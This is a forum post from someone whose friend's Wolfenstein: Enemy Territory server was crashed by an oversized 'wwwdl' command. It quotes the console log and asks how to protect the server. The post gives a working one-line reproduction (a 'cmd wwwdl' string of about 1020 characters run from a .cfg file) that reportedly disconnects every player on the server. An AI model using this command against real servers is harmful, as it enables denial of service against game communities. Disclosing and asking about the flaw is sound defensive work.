hello, today a friend of mine who runs a popular ET server in italy experienced an exploit which dropped all players from the server.
he read the console log and saw this:
Code:
SV_WWWDownload: unexpected wwwdl '\nNo vote in progress.\nClientConnect: 0\nWARNING: bad command byte for client 0\nWARNING: bad command byte for client 0\nWARNING: bad command byte for client 0\nWARNING: bad command byte for client 0\nWARNING: bad command byte for client 0\nWARNING: bad command byte for client 0\nWARNING: bad command byte for client 0\nWARNING: bad command byte for client 0\n .. (repeating many times) ..' for client 'ETPlayer'
immediately after this message all players disconnected.
the one responsible for this message (ETPlayer) had a finnish ip, and has been reported to his ISP kponet.fi.
i looked into it and found a way to re-produce the exploit:
simply write this into a .cfg and /exec it while connected to a server:
Code:
cmd wwwdl aaaaaaaaaaaaaaaaaaaaaa... (1020 times a)
apparently it works in all ET versions and mods.
anyone seen that exploit before? how can i protect my friend's server from this?
thanks.